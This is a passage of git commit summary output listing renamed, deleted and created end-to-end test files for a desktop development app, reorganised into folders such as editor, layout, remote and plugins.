desktop/startup-recovery}/restart-restore-terminal-input.spec.ts (91%) rename tests/e2e/{ => desktop/startup-recovery}/restart-unopened-workspace-terminal-attach.spec.ts (91%) rename tests/e2e/{ => desktop/startup-recovery}/windows-missing-appdata-startup.spec.ts (80%) delete mode 100644 tests/e2e/diff-note-delete.spec.ts delete mode 100644 tests/e2e/diff-note-draft.spec.ts delete mode 100644 tests/e2e/diff-note-edit.spec.ts delete mode 100644 tests/e2e/diff-note-line-range.spec.ts delete mode 100644 tests/e2e/droid-notification.spec.ts create mode 100644 tests/e2e/editor/csv/csv-paged-preview.spec.ts create mode 100644 tests/e2e/editor/csv/csv-url-links.spec.ts rename tests/e2e/{ => editor/file-explorer}/file-explorer-copy-file-windows.spec.ts (95%) rename tests/e2e/{helpers => editor/file-explorer}/file-explorer.ts (100%) rename tests/e2e/{ => editor/file-explorer}/runtime-file-browser-windows-drives.spec.ts (86%) rename tests/e2e/{ => editor/file-lifecycle}/editor-model-host-isolation.spec.ts (94%) rename tests/e2e/{ => editor/markdown}/markdown-callout-source-fidelity.spec.ts (93%) rename tests/e2e/{helpers => editor/markdown}/markdown-editor-fixture.ts (100%) rename tests/e2e/{ => editor/markdown}/markdown-find-adversarial.spec.ts (64%) rename tests/e2e/{helpers => editor/markdown}/markdown-inline-image.ts (100%) rename tests/e2e/{ => editor/markdown}/markdown-nested-toggle.spec.ts (88%) rename tests/e2e/{helpers => editor/markdown}/markdown-nested-toggle.ts (100%) rename tests/e2e/{ => editor/markdown}/rich-markdown-inline-image.spec.ts (94%) rename tests/e2e/{ => editor/pdf}/pdf-detail-device-pixels.spec.ts (92%) create mode 100644 tests/e2e/editor/pdf/pdf-find-counter.spec.ts rename tests/e2e/{helpers => editor/pdf}/pdf-find-fixture.ts (100%) rename tests/e2e/{ => editor/previews}/media-preview-partition-isolation.spec.ts (94%) rename tests/e2e/{helpers => editor/previews}/paired-html-preview-inventory.ts (100%) delete mode 100644 tests/e2e/ephemeral-vm-cleanup-retry.spec.ts delete mode 100644 tests/e2e/file-explorer-ime-enter.spec.ts delete mode 100644 tests/e2e/file-explorer-linked-watch-refresh.spec.ts delete mode 100644 tests/e2e/file-explorer-watch-refresh.spec.ts delete mode 100644 tests/e2e/finished-agent-ghost-resume.spec.ts delete mode 100644 tests/e2e/floating-tab-rename.spec.ts delete mode 100644 tests/e2e/floating-terminal-switch-reveal.spec.ts delete mode 100644 tests/e2e/floating-terminal-tab-rename-focus.spec.ts delete mode 100644 tests/e2e/folder-repo-git-upgrade.spec.ts delete mode 100644 tests/e2e/folder-setup-shallow-priority.spec.ts delete mode 100644 tests/e2e/folder-setup.spec.ts delete mode 100644 tests/e2e/folder-workspace-palette-wake.spec.ts delete mode 100644 tests/e2e/github-pr-hosted-receipt-loop.unit.test.ts delete mode 100644 tests/e2e/github-url-smart-input-transition.spec.ts rename tests/e2e/{ => golden-journeys}/golden-agent-tui-launch.spec.ts (71%) rename tests/e2e/{ => golden-journeys}/golden-file-open-edit-save.spec.ts (92%) rename tests/e2e/{ => golden-journeys}/golden-fresh-profile-terminal.spec.ts (82%) rename tests/e2e/{ => golden-journeys}/golden-posix-profile-index-fsync.spec.ts (94%) rename tests/e2e/{ => golden-journeys}/golden-shell-after-agent-exit.spec.ts (81%) rename tests/e2e/{ => golden-journeys}/golden-shell-command.spec.ts (84%) rename tests/e2e/{ => golden-journeys}/golden-source-control-commit.spec.ts (92%) rename tests/e2e/{ => golden-journeys}/golden-source-control-open-diff.spec.ts (88%) rename tests/e2e/{helpers => golden-journeys}/golden-source-control.ts (98%) rename tests/e2e/{helpers => golden-journeys}/golden-stub-agent.ts (93%) rename tests/e2e/{ => golden-journeys}/golden-tab-bar-agent-launch.spec.ts (67%) rename tests/e2e/{ => golden-journeys}/golden-worktree-create-switch.spec.ts (82%) delete mode 100644 tests/e2e/golden-quit-relaunch-session.spec.ts delete mode 100644 tests/e2e/golden-terminal-file-link.spec.ts delete mode 100644 tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts delete mode 100644 tests/e2e/headless-serve-cli-terminal-retention-parity.spec.ts delete mode 100644 tests/e2e/helpers/electron-crashpad-cleanup.unit.test.ts delete mode 100644 tests/e2e/helpers/electron-home-isolation.unit.test.ts delete mode 100644 tests/e2e/helpers/electron-process-shutdown.unit.test.ts delete mode 100644 tests/e2e/helpers/paired-client-window-reveal.unit.test.ts delete mode 100644 tests/e2e/helpers/persisted-profile-state.unit.test.ts delete mode 100644 tests/e2e/hidden-workspace-notifications.spec.ts delete mode 100644 tests/e2e/host-cold-park-remote-subscriber.unit.test.ts delete mode 100644 tests/e2e/host-parked-pane-remote-viewer.spec.ts delete mode 100644 tests/e2e/host-terminal-agent-phone-push.spec.ts delete mode 100644 tests/e2e/html-file-url-opening.spec.ts rename tests/e2e/{helpers => integrations/connectors}/connector-fake-claude.ts (98%) rename tests/e2e/{ => integrations/github}/github-project-provider-columns.unit.test.ts (80%) rename tests/e2e/{ => integrations/linear}/linear-url-workspace-entry.spec.ts (95%) rename tests/e2e/{ => integrations/linear}/smart-workspace-linear-read-test-fixtures.tsx (88%) rename tests/e2e/{ => integrations/skills}/staging-skill-sharing.spec.ts (96%) delete mode 100644 tests/e2e/korean-ime-terminal-shift-enter-commit.spec.ts delete mode 100644 tests/e2e/landing-preflight-runtime-routing.spec.ts delete mode 100644 tests/e2e/large-diff-freeze-repro.spec.ts delete mode 100644 tests/e2e/large-markdown-preview.spec.ts delete mode 100644 tests/e2e/large-markdown-table-preview.spec.ts delete mode 100644 tests/e2e/layout-compat-new-desktop-on-old-server.spec.ts delete mode 100644 tests/e2e/layout-compat-old-desktop-on-new-server.spec.ts delete mode 100644 tests/e2e/layout-compat-old-phone-on-new-server.spec.ts delete mode 100644 tests/e2e/layout-compat-serve-restart-keeps-at-at-terminals.spec.ts delete mode 100644 tests/e2e/layout-stream-loss-reopen.spec.ts rename tests/e2e/{ => layout/accumulated-workspaces}/accumulated-workspace-fixture.ts (99%) rename tests/e2e/{ => layout/accumulated-workspaces}/accumulated-workspace-order-fixture.ts (100%) rename tests/e2e/{ => layout/accumulated-workspaces}/accumulated-workspace-profile.ts (100%) rename tests/e2e/{ => layout/accumulated-workspaces}/accumulated-workspace-state-builder.ts (94%) rename tests/e2e/{ => layout/accumulated-workspaces}/accumulated-workspace-status-fixture.ts (100%) rename tests/e2e/{ => layout/accumulated-workspaces}/accumulated-workspace-title-fixture.ts (100%) rename tests/e2e/{helpers => layout/publication}/host-split-and-sleep-journeys.ts (85%) rename tests/e2e/{helpers => layout/publication}/layout-owner-build.ts (100%) rename tests/e2e/{helpers => layout/publication}/main-terminal-layout.ts (88%) rename tests/e2e/{helpers => layout/publication}/paired-desktop-server-layout.ts (81%) rename tests/e2e/{ => layout/publication}/runtime-graph-publication-probe.ts (100%) rename tests/e2e/{helpers => layout/publication}/terminal-layout-journeys.ts (91%) rename tests/e2e/{helpers => layout/version-compatibility}/layout-compat-baseline.ts (88%) rename tests/e2e/{ => layout/version-compatibility}/layout-compat-baselines.json (100%) rename tests/e2e/{ => layout/window-tabs}/floating-tab-rename-filesystem-alias.spec.ts (96%) create mode 100644 tests/e2e/layout/window-tabs/floating-tab-rename.spec.ts create mode 100644 tests/e2e/layout/window-tabs/floating-terminal-tab-rename-focus.spec.ts rename tests/e2e/{ => layout/window-tabs}/floating-workspace-reopen-webgl-recovery.spec.ts (75%) rename tests/e2e/{ => layout/window-tabs}/floating-workspace-shared-glyph-atlas.spec.ts (86%) rename tests/e2e/{ => layout/window-tabs}/narrow-tab-group-drag-handle.spec.ts (59%) rename tests/e2e/{ => layout/window-tabs}/tabs.spec.ts (60%) rename tests/e2e/{helpers => layout/workspace-oracle}/headless-layout-oracle-hosts.ts (93%) rename tests/e2e/{ => layout/workspace-oracle}/terminal-layout-parity-declared-differences.ts (100%) rename tests/e2e/{ => layout/workspace-oracle}/terminal-layout-parity-snapshot.ts (100%) rename tests/e2e/{helpers => layout/workspace-oracle}/workspace-layout-oracle-compare.ts (98%) rename tests/e2e/{helpers => layout/workspace-oracle}/workspace-layout-oracle-expected.ts (100%) rename tests/e2e/{helpers => layout/workspace-oracle}/workspace-layout-oracle-feed.ts (90%) rename tests/e2e/{ => layout/workspace-oracle}/workspace-layout-oracle-known-on-main.ts (97%) rename tests/e2e/{helpers => layout/workspace-oracle}/workspace-layout-oracle-markers.ts (97%) rename tests/e2e/{helpers => layout/workspace-oracle}/workspace-layout-oracle-model.ts (86%) rename tests/e2e/{helpers => layout/workspace-oracle}/workspace-layout-oracle-session.ts (89%) rename tests/e2e/{helpers => layout/workspace-oracle}/workspace-layout-oracle-stream.ts (80%) rename tests/e2e/{helpers => layout/workspace-oracle}/workspace-layout-oracle-views.ts (83%) rename tests/e2e/{helpers => layout/workspace-oracle}/workspace-layout-oracle-watch.ts (100%) rename tests/e2e/{helpers => layout/workspace-oracle}/workspace-layout-oracle.ts (93%) delete mode 100644 tests/e2e/linear-cli-recovery.unit.test.ts delete mode 100644 tests/e2e/linear-issue-view-persistence.spec.ts delete mode 100644 tests/e2e/linear-private-images.spec.ts delete mode 100644 tests/e2e/linear-store.unit.test.ts delete mode 100644 tests/e2e/linear-write-lifetime.unit.test.ts delete mode 100644 tests/e2e/local-cli-terminal-retention.spec.ts delete mode 100644 tests/e2e/manual-worktree-order-persistence.spec.ts delete mode 100644 tests/e2e/markdown-async-image-paste.spec.ts delete mode 100644 tests/e2e/markdown-find-editing.spec.ts delete mode 100644 tests/e2e/markdown-large-paste-selection.spec.ts delete mode 100644 tests/e2e/markdown-literal-save-reopen.spec.ts delete mode 100644 tests/e2e/markdown-preview-document-navigation.spec.ts delete mode 100644 tests/e2e/mobile-banner.spec.ts delete mode 100644 tests/e2e/multi-client-navigation-isolation.spec.ts delete mode 100644 tests/e2e/native-chat-ask-user-question-card.spec.ts delete mode 100644 tests/e2e/native-chat-composer-linux-sogou-commit.spec.ts delete mode 100644 tests/e2e/native-chat-context-menu-copy-paste.spec.ts delete mode 100644 tests/e2e/native-chat-copy-image.spec.ts delete mode 100644 tests/e2e/native-chat-file-mention.spec.ts delete mode 100644 tests/e2e/native-chat-first-flush-race.spec.ts delete mode 100644 tests/e2e/native-chat-history-prepend-anchor.spec.ts delete mode 100644 tests/e2e/native-chat-inline-image-preview.spec.ts delete mode 100644 tests/e2e/native-chat-inplace-drain-race.spec.ts delete mode 100644 tests/e2e/native-chat-message-rail.spec.ts delete mode 100644 tests/e2e/native-chat-plugin-ui-frames.spec.ts delete mode 100644 tests/e2e/native-chat-prompt-recall.spec.ts delete mode 100644 tests/e2e/native-chat-send-focus.spec.ts delete mode 100644 tests/e2e/native-chat-tool-pairing.spec.ts delete mode 100644 tests/e2e/native-chat-zcode-transcript.spec.ts delete mode 100644 tests/e2e/nested-agent-idle-session-owner.spec.ts delete mode 100644 tests/e2e/new-workspace-create-more.spec.ts delete mode 100644 tests/e2e/notebook-cell-external-sync.spec.ts delete mode 100644 tests/e2e/notification-sound-replay.spec.ts delete mode 100644 tests/e2e/omp-completion-retry-status.spec.ts delete mode 100644 tests/e2e/omp-prefill-runtime.spec.ts delete mode 100644 tests/e2e/orcad-serve-open-url-on-desktop.spec.ts delete mode 100644 tests/e2e/orchestration-follows-terminal-across-remount.spec.ts delete mode 100644 tests/e2e/orchestration-idle-mail-delivery.spec.ts delete mode 100644 tests/e2e/orchestration-idle-mail-restore.spec.ts delete mode 100644 tests/e2e/orchestration-legacy-worker-missing-terminal-recovery.spec.ts delete mode 100644 tests/e2e/orchestration-low-level-dispatch-release.spec.ts delete mode 100644 tests/e2e/orchestration-worker-settlement-release-cli.spec.ts delete mode 100644 tests/e2e/orchestration-worker-terminal-visibility.spec.ts delete mode 100644 tests/e2e/orchestration-worker-transcript-providers.spec.ts rename tests/e2e/{helpers => orchestration}/completed-worker-retirement-fixture.ts (95%) rename tests/e2e/{helpers => orchestration}/orchestration-mail-pane-agent.ts (100%) rename tests/e2e/{helpers => orchestration}/orchestration-mail-store.ts (100%) rename tests/e2e/{ => orchestration}/orchestration-run-pages.ts (86%) rename tests/e2e/{ => orchestration}/orchestration-worker-workspace-resolution.unit.test.ts (85%) delete mode 100644 tests/e2e/os-opened-documents.spec.ts delete mode 100644 tests/e2e/packaged-mixed-version-browser-placement.spec.ts delete mode 100644 tests/e2e/paired-browser-create-navigation-deadline.spec.ts delete mode 100644 tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts delete mode 100644 tests/e2e/paired-cli-agent-launch.unit.test.ts delete mode 100644 tests/e2e/paired-cli-terminal-graph-sync-tab-retention.spec.ts delete mode 100644 tests/e2e/paired-client-first-terminal-unopened-host-worktree.spec.ts delete mode 100644 tests/e2e/paired-client-host-repo-id-change-rows.spec.ts delete mode 100644 tests/e2e/paired-client-hosted-browser-cookie-survival.spec.ts delete mode 100644 tests/e2e/paired-client-hosted-browser-double-restart.spec.ts delete mode 100644 tests/e2e/paired-client-hosted-browser-ghost-close.spec.ts delete mode 100644 tests/e2e/paired-client-hosted-browser-host-strip.spec.ts delete mode 100644 tests/e2e/paired-client-hosted-browser-network-outage.spec.ts delete mode 100644 tests/e2e/paired-client-hosted-browser-popups.spec.ts delete mode 100644 tests/e2e/paired-client-hosted-browser-quit-survival.spec.ts delete mode 100644 tests/e2e/paired-client-hosted-browser-restart-survival.spec.ts delete mode 100644 tests/e2e/paired-client-hosted-browser-title-hold.spec.ts delete mode 100644 tests/e2e/paired-client-hosted-browser.spec.ts delete mode 100644 tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts delete mode 100644 tests/e2e/paired-desktop-tab-pick-follows-desktop.spec.ts delete mode 100644 tests/e2e/paired-host-usage-credentials.spec.ts delete mode 100644 tests/e2e/paired-instant-browser-tab.spec.ts delete mode 100644 tests/e2e/paired-mobile-desktop-mirror-workspace-visibility.spec.ts delete mode 100644 tests/e2e/paired-mobile-desktop-mirror.spec.ts delete mode 100644 tests/e2e/paired-mobile-desktop-tab-composition.spec.ts delete mode 100644 tests/e2e/paired-outside-workspace-html-link.spec.ts delete mode 100644 tests/e2e/paired-pane-title-desktop-host.spec.ts delete mode 100644 tests/e2e/paired-preview-address-bar-convergence.spec.ts delete mode 100644 tests/e2e/paired-remote-browser-stream-reconnect.spec.ts delete mode 100644 tests/e2e/paired-remote-html-preview-local-render.spec.ts delete mode 100644 tests/e2e/paired-remote-large-file-open.spec.ts delete mode 100644 tests/e2e/paired-remote-pane-layout-retry.spec.ts delete mode 100644 tests/e2e/paired-remote-split-pane-focus.spec.ts delete mode 100644 tests/e2e/paired-remote-split-pane-host-retired-ghost.spec.ts delete mode 100644 tests/e2e/paired-remote-terminal-browser-link.spec.ts delete mode 100644 tests/e2e/paired-remote-terminal-client-restart-survival.spec.ts delete mode 100644 tests/e2e/paired-remote-terminal-host-quit-reconnect-input.spec.ts delete mode 100644 tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts delete mode 100644 tests/e2e/paired-remote-terminal-lossy-initial-snapshot.spec.ts delete mode 100644 tests/e2e/paired-remote-terminal-materialization-reconnect.spec.ts delete mode 100644 tests/e2e/paired-remote-terminal-network-outage.spec.ts delete mode 100644 tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts delete mode 100644 tests/e2e/paired-remote-terminal-parked-scrollback-restart.spec.ts delete mode 100644 tests/e2e/paired-remote-terminal-parked-scrollback-survives.spec.ts delete mode 100644 tests/e2e/paired-remote-terminal-probe-gap-recovery.spec.ts delete mode 100644 tests/e2e/paired-remote-terminal-reconnect-idle-frame.spec.ts delete mode 100644 tests/e2e/paired-remote-terminal-retention-memory.spec.ts delete mode 100644 tests/e2e/paired-remote-terminal-serve-restart-binding.spec.ts delete mode 100644 tests/e2e/paired-remote-terminal-stall-recovery.spec.ts delete mode 100644 tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts delete mode 100644 tests/e2e/paired-remote-terminal-wide-viewport.spec.ts delete mode 100644 tests/e2e/paired-serve-respawn-process-state.spec.ts delete mode 100644 tests/e2e/paired-skill-installation.spec.ts delete mode 100644 tests/e2e/paired-split-pane-browser-placement.spec.ts delete mode 100644 tests/e2e/paired-terminal-after-anchor-placement.spec.ts delete mode 100644 tests/e2e/paired-terminal-granted-video-open.spec.ts delete mode 100644 tests/e2e/paired-terminal-switch-desktop-reveal.spec.ts delete mode 100644 tests/e2e/paired-two-client-emptied-workspace-reseed.spec.ts delete mode 100644 tests/e2e/paired-usage-owner-placeholders.spec.ts delete mode 100644 tests/e2e/pdf-find-counter.spec.ts delete mode 100644 tests/e2e/pdf-viewer-rebuild-recovery.spec.ts delete mode 100644 tests/e2e/pdf-viewer-reload-cleanup.spec.ts delete mode 100644 tests/e2e/persisted-session-production-upgrade.spec.ts delete mode 100644 tests/e2e/phone-take-back-all-browser.spec.ts delete mode 100644 tests/e2e/pi-ui-prompt-status.spec.ts delete mode 100644 tests/e2e/plugin-buildless-tsx.spec.ts delete mode 100644 tests/e2e/plugin-command-replacement-deadline.spec.ts delete mode 100644 tests/e2e/plugin-components-hot-reload.spec.ts delete mode 100644 tests/e2e/plugin-custom-editor.spec.ts delete mode 100644 tests/e2e/plugin-demo.spec.ts delete mode 100644 tests/e2e/plugin-dev-root-isolation.spec.ts delete mode 100644 tests/e2e/plugin-install-link.spec.ts delete mode 100644 tests/e2e/plugin-panel-containment.spec.ts delete mode 100644 tests/e2e/plugin-shot-editor.spec.ts delete mode 100644 tests/e2e/plugin-shot.spec.ts delete mode 100644 tests/e2e/plugin-try-it.spec.ts delete mode 100644 tests/e2e/plugin-update-review-toast.spec.ts delete mode 100644 tests/e2e/plugin-update-review.spec.ts delete mode 100644 tests/e2e/plugin-worker-panel.spec.ts delete mode 100644 tests/e2e/plugin-workspace-context-paired-server.spec.ts rename tests/e2e/{ => plugins}/plugin-declarative-panel.spec.ts (93%) rename tests/e2e/{helpers => plugins}/plugin-frame-guest.ts (97%) rename tests/e2e/{helpers => plugins}/plugin-git-fixture.ts (100%) rename tests/e2e/{helpers => plugins}/plugin-gleam-catalog-fixture.ts (100%) rename tests/e2e/{ => plugins}/plugin-isolated-frame.spec.ts (96%) rename tests/e2e/{ => plugins}/plugin-name-clash.spec.ts (92%) rename tests/e2e/{ => plugins}/plugin-new-file.spec.ts (93%) rename tests/e2e/{ => plugins}/plugin-panel-agents.spec.ts (90%) rename tests/e2e/{helpers => plugins}/plugin-panel-navigation-observer.ts (100%) rename tests/e2e/{helpers => plugins}/plugin-smoke.ts (100%) rename tests/e2e/{helpers => plugins}/plugin-update-catalog-fixture.ts (100%) rename tests/e2e/{ => plugins}/plugin-workspace-persist-switch.spec.ts (92%) delete mode 100644 tests/e2e/pr-refresh-actual-completion.unit.test.ts delete mode 100644 tests/e2e/profile-state-automatic-backup-recovery.spec.ts delete mode 100644 tests/e2e/profile-state-terminal-restart-persistence.spec.ts delete mode 100644 tests/e2e/project-group-creation-visibility.spec.ts delete mode 100644 tests/e2e/pty-snapshot-capability-main-stall.spec.ts delete mode 100644 tests/e2e/quit-and-stop-all-sessions.spec.ts delete mode 100644 tests/e2e/recipe-orca-server-file-save.spec.ts delete mode 100644 tests/e2e/relaunch-first-terminal.spec.ts delete mode 100644 tests/e2e/relaunch-sleeping-agents-resume-on-view.spec.ts delete mode 100644 tests/e2e/relay-region-correction.unit.test.ts delete mode 100644 tests/e2e/remote-agent-completion-authority.unit.test.ts delete mode 100644 tests/e2e/remote-agent-session-focus-authority.spec.ts delete mode 100644 tests/e2e/remote-session-bulk-open-freeze-repro.spec.ts delete mode 100644 tests/e2e/remote-terminal-input-delivery-model.unit.test.ts rename tests/e2e/{ => remote/managed-ssh/file-lifecycle}/ssh-orcad-editor-watch-recovery.spec.ts (95%) rename tests/e2e/{ => remote/managed-ssh/file-lifecycle}/ssh-orcad-explorer-watch-recovery.spec.ts (93%) rename tests/e2e/{helpers => remote/managed-ssh/host-lifecycle}/docker-ssh-host-image.ts (100%) rename tests/e2e/{helpers => remote/managed-ssh/host-lifecycle}/docker-ssh-host-target.ts (98%) rename tests/e2e/{helpers => remote/managed-ssh/host-lifecycle}/orcad-convert-flow.ts (95%) rename tests/e2e/{helpers => remote/managed-ssh/host-lifecycle}/orcad-convert-host.ts (94%) rename tests/e2e/{helpers => remote/managed-ssh/host-lifecycle}/orcad-managed-workspace.ts (90%) rename tests/e2e/{ => remote/managed-ssh/host-lifecycle}/orcad-serve-mode-switch.spec.ts (73%) rename tests/e2e/{helpers => remote/managed-ssh/host-lifecycle}/orcad-template-variant.ts (93%) rename tests/e2e/{helpers => remote/managed-ssh/host-lifecycle}/orcad-upgrade-profile.ts (91%) rename tests/e2e/{helpers => remote/managed-ssh/host-lifecycle}/orcad-upgrade-retained-state.ts (86%) rename tests/e2e/{helpers => remote/managed-ssh/host-lifecycle}/reserve-local-port.ts (100%) rename tests/e2e/{ => remote/managed-ssh/host-lifecycle}/ssh-orcad-idle-exit.spec.ts (78%) create mode 100644 tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-pairing-repair.spec.ts rename tests/e2e/{ => remote/managed-ssh/host-lifecycle}/ssh-orcad-shared-home-machines.spec.ts (92%) rename tests/e2e/{ => remote/managed-ssh/host-lifecycle}/ssh-orcad-unbindable-tunnel-port.spec.ts (91%) create mode 100644 tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-update-anyway.spec.ts rename tests/e2e/{helpers => remote/managed-ssh/host-lifecycle}/windows-host-orcad-processes.ts (100%) rename tests/e2e/{ => remote/mobile-mirror}/headless-mobile-markdown.spec.ts (83%) rename tests/e2e/{ => remote/mobile-mirror}/headless-serve-mobile-markdown.spec.ts (88%) rename tests/e2e/{ => remote/mobile-mirror}/headless-serve-mobile-native-chat-identity.spec.ts (88%) rename tests/e2e/{ => remote/mobile-mirror}/mobile-subscribe-idle-hidden-pane-fit.spec.ts (85%) rename tests/e2e/{helpers => remote/mobile-mirror}/paired-mobile-client.ts (81%) rename tests/e2e/{ => remote/mobile-mirror}/paired-mobile-desktop-mirror-files-git-review.spec.ts (95%) rename tests/e2e/{ => remote/mobile-mirror}/paired-mobile-serve-restart-terminal-tabs.spec.ts (86%) rename tests/e2e/{helpers => remote/mobile-mirror}/phone-feed-list.ts (83%) rename tests/e2e/{helpers => remote/mobile-mirror}/phone-mirror-topology.ts (95%) rename tests/e2e/{helpers => remote/network-outages}/freezable-tcp-proxy.ts (100%) rename tests/e2e/{helpers => remote/paired-runtime/client-hosts}/client-hosted-runtime-relaunch.ts (88%) rename tests/e2e/{helpers => remote/paired-runtime/client-hosts}/headless-paired-runtime-host.ts (83%) create mode 100644 tests/e2e/remote/paired-runtime/client-hosts/headless-paired-runtime-process-exit.ts rename tests/e2e/{helpers => remote/paired-runtime/client-hosts}/headless-paired-runtime-serve-readiness.ts (97%) rename tests/e2e/{helpers => remote/paired-runtime/client-hosts}/headless-paired-runtime-serve-readiness.unit.test.ts (100%) rename tests/e2e/{helpers => remote/paired-runtime/client-hosts}/nested-runtime-same-id-pairing.ts (94%) rename tests/e2e/{helpers => remote/paired-runtime/client-hosts}/orca-serve-cli-host.ts (94%) rename tests/e2e/{helpers => remote/paired-runtime/client-hosts}/packaged-old-orca.ts (94%) rename tests/e2e/{helpers => remote/paired-runtime/client-hosts}/paired-client-host-session.ts (91%) rename tests/e2e/{helpers => remote/paired-runtime/client-hosts}/paired-client-runtime-environment.ts (100%) rename tests/e2e/{helpers => remote/paired-runtime/client-hosts}/paired-client-window-reveal.ts (100%) rename tests/e2e/{helpers => remote/paired-runtime/client-hosts}/paired-electron-client.ts (93%) rename tests/e2e/{helpers => remote/paired-runtime/client-hosts}/paired-web-client-url.ts (100%) rename tests/e2e/{helpers => remote/paired-runtime/ssh-routing}/nested-runtime-ssh-client-route.ts (95%) rename tests/e2e/{helpers => remote/paired-runtime/ssh-routing}/nested-runtime-ssh-filesystem-route.ts (94%) rename tests/e2e/{helpers => remote/paired-runtime/ssh-routing}/nested-runtime-ssh-terminal-creation.ts (82%) rename tests/e2e/{ => remote/paired-runtime/workspace-routing}/headless-serve-desktop-activation.spec.ts (82%) rename tests/e2e/{ => remote/paired-runtime/workspace-routing}/paired-client-project-removal-stops-host-terminals.spec.ts (91%) rename tests/e2e/{ => remote/paired-runtime/workspace-routing}/paired-server-rows-shadow.spec.ts (92%) rename tests/e2e/{ => remote/paired-runtime/workspace-routing}/paired-startup-exec-readiness.spec.ts (94%) rename tests/e2e/{ => remote/paired-runtime/workspace-routing}/paired-worktree-activation-isolation.spec.ts (89%) rename tests/e2e/{ => remote/paired-runtime/workspace-routing}/pr11346-selected-runtime-add.spec.ts (90%) rename tests/e2e/{ => remote/paired-runtime/workspace-routing}/pr11346-selected-runtime-identity-oracle.ts (100%) rename tests/e2e/{helpers => remote/relay}/build-released-relay-bundle.mts (69%) rename tests/e2e/{helpers => remote/relay}/legacy-relay-docker-host.ts (91%) rename tests/e2e/{helpers => remote/relay}/relay-execution-process.ts (100%) create mode 100644 tests/e2e/remote/ssh-hosts/ephemeral-vm-cleanup-retry.spec.ts rename tests/e2e/{helpers => remote/ssh-hosts}/remote-skill-cloud-fixture.ts (96%) rename tests/e2e/{ => remote/ssh-hosts}/ssh-browser-network-execution-route.docker.unit.test.ts (67%) rename tests/e2e/{helpers => remote/ssh-hosts}/ssh-config-host-picker.ts (99%) rename tests/e2e/{helpers => remote/ssh-hosts}/staging-skill-ssh-target.ts (100%) rename tests/e2e/{helpers => remote/wsl-hosts}/wsl-boot-diagnostics-log.ts (100%) rename tests/e2e/{helpers => remote/wsl-hosts}/wsl-boot-guard.ts (97%) rename tests/e2e/{ => remote/wsl-hosts}/wsl-bridge-no-background-boot.spec.ts (94%) rename tests/e2e/{helpers => remote/wsl-hosts}/wsl-golden-stub-agent.ts (98%) rename tests/e2e/{helpers => remote/wsl-hosts}/wsl-host-fake-desktop.ts (86%) rename tests/e2e/{ => remote/wsl-hosts}/wsl-host-fake-transport.spec.ts (94%) rename tests/e2e/{ => remote/wsl-hosts}/wsl-move-host-pane-history.spec.ts (94%) rename tests/e2e/{ => remote/wsl-hosts}/wsl-move-moved-project-chat-send.spec.ts (88%) rename tests/e2e/{helpers => remote/wsl-hosts}/wsl-moved-host-profile.ts (94%) rename tests/e2e/{helpers => remote/wsl-hosts}/wsl-terminate-retry.ts (100%) delete mode 100644 tests/e2e/renderer-blocked-navigation-graph-authority.spec.ts delete mode 100644 tests/e2e/repo-registration-concurrency.spec.ts delete mode 100644 tests/e2e/resource-manager-bound-ptys.spec.ts delete mode 100644 tests/e2e/resource-manager-end-tabless-terminals.spec.ts delete mode 100644 tests/e2e/resource-manager-local-pty-view.spec.ts delete mode 100644 tests/e2e/resource-usage-warm-reattach.spec.ts delete mode 100644 tests/e2e/runtime-host-status-recovery.spec.ts delete mode 100644 tests/e2e/settings-display-name-ime.spec.ts delete mode 100644 tests/e2e/settled-worker-tab-survives-restart.spec.ts delete mode 100644 tests/e2e/setup-script-import.spec.ts delete mode 100644 tests/e2e/setup-script-prompt-unreadable-orca-yaml.spec.ts delete mode 100644 tests/e2e/sidebar-agent-row-identity.spec.ts delete mode 100644 tests/e2e/sidebar-click-terminal-focus.spec.ts delete mode 100644 tests/e2e/sidebar-desktop-reads-main.spec.ts delete mode 100644 tests/e2e/sidebar-host-unread.spec.ts delete mode 100644 tests/e2e/sidebar-inputs-feed.spec.ts delete mode 100644 tests/e2e/sidebar-phone-feed-list.spec.ts delete mode 100644 tests/e2e/sidebar-sort-stamps-startup.spec.ts delete mode 100644 tests/e2e/sidebar-workspace-rows.spec.ts delete mode 100644 tests/e2e/slept-workspace-remount-wake.spec.ts delete mode 100644 tests/e2e/source-control-commit-draft-persistence.spec.ts delete mode 100644 tests/e2e/source-control-create-pr-intent-switch.spec.ts delete mode 100644 tests/e2e/source-control-large-file-count.spec.ts delete mode 100644 tests/e2e/source-control-operation-recovery.spec.ts delete mode 100644 tests/e2e/source-control-pr-generation-switch.spec.ts rename tests/e2e/{ => source-control}/git-churn-load.ts (100%) rename tests/e2e/{ => source-control}/large-diff-repro-fixtures.ts (100%) rename tests/e2e/{ => source-control}/large-file-count-fixtures.ts (100%) rename tests/e2e/{helpers => source-control}/pr-comments-sidebar-fixture.ts (100%) rename tests/e2e/{helpers => source-control}/source-control-ai-generation.ts (100%) rename tests/e2e/{helpers => source-control}/source-control-ai-generators.ts (100%) rename tests/e2e/{ => source-control}/source-control-commit-message-ai.spec.ts (91%) rename tests/e2e/{ => source-control}/source-control-create-pr.spec.ts (96%) rename tests/e2e/{ => source-control}/source-control-discard-confirmation.spec.ts (96%) rename tests/e2e/{helpers => source-control}/source-control-generation-app.ts (74%) create mode 100644 tests/e2e/source-control/source-control-pr-generation-switch.spec.ts rename tests/e2e/{ => source-control}/source-control-pr-linked-issue-ai.spec.ts (91%) rename tests/e2e/{ => source-control}/source-control-staged-rename.spec.ts (90%) delete mode 100644 tests/e2e/sparse-explorer-proof.spec.ts delete mode 100644 tests/e2e/ssh-config-host-import.spec.ts delete mode 100644 tests/e2e/ssh-config-host-picker.spec.ts delete mode 100644 tests/e2e/ssh-host-form-modal.spec.ts delete mode 100644 tests/e2e/ssh-orcad-browser-service-status.spec.ts delete mode 100644 tests/e2e/ssh-orcad-claude-chat-start-failure.spec.ts delete mode 100644 tests/e2e/ssh-orcad-codex-question-skip.spec.ts delete mode 100644 tests/e2e/ssh-orcad-desktop-browser-bridge.spec.ts delete mode 100644 tests/e2e/ssh-orcad-editor-drafts-migration.spec.ts delete mode 100644 tests/e2e/ssh-orcad-editor-ownership.spec.ts delete mode 100644 tests/e2e/ssh-orcad-enabled-automation-move.spec.ts delete mode 100644 